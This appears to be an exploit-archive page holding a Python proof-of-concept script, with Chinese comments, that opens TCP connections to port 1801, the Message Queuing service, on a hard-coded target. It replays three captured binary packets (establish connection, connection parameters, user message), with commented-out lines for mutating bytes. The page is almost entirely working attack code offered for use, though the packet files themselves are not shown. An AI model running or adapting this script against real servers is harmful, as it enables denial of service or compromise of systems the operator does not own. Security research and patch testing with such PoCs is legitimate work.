4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
# 需要自行修改 ip_address
# 代码中的循环是一开始用于测试的,没有实际用途

import socket, time

base_path = ".\\data\\"
ip_address = "192.168.183.101"
port = 1801

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip_address, port))

f = open(base_path + "establish_connection.bin", "rb")
ec = f.read()
f.close()

f = open(base_path + "connection_parameters.bin", "rb")
cp = f.read()
f.close()

f = open(base_path + "user_message.bin", "rb")
um = f.read()
data = bytearray(um)
f.close()

#f = open(base_path + "session_acknowledgment.bin", "rb")
#sa = f.read()
#f.close()

for i in range(0, 1):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip_address, port))
    
    sock.sendall(ec)
    print("[+] Establish connection.")
    sock.recv(1024)
    print("[+] Receive data done.")

    sock.sendall(cp)
    print("[+] Connection parameters.")
    sock.recv(1024)
    print("[+] Receive data done.")

    #data[0x5e] = i
    #data[0x5f] = 0xff
    sock.sendall(data)
    print("[+] User message.")
    sock.recv(1024)
    print("[+] Receive data done.")

    #sock.sendall(sa)
    #print("[+] Session acknowledgment.")
    #sock.recv(1024)
    #print("[+] Receive data done.\n")

    sock.close()

    time.sleep(0.1)